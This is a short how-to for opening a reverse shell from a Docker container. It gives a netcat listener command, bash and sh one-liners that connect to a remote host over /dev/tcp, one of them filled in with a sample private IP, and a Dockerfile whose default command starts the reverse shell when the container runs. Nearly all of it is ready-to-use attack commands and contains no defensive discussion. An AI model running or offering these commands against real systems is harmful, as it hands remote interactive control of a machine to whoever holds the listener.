Open up the port where the container will connect to.
nc -lp 6666
Execute the following command in the container to open the connection to the server port with a bash.
bash -i >& /dev/tcp/server_ip/6666 0>&1
When your local server has the ip 192.168.178.26
the snippet looks like this:
/bin/sh -i > /dev/tcp/192.168.178.26/6666 2>&1 0>&1
FROM debian:latest
RUN echo "bash -i >& /dev/tcp/\${IP}/\${PORT} 0>&1" > reverse_shell.sh
CMD ["bash", "./reverse_shell.sh"]
Execute reverse shell container with: docker run --rm -it -e IP=192.168.178.26 -e PORT=6666 reverse_shell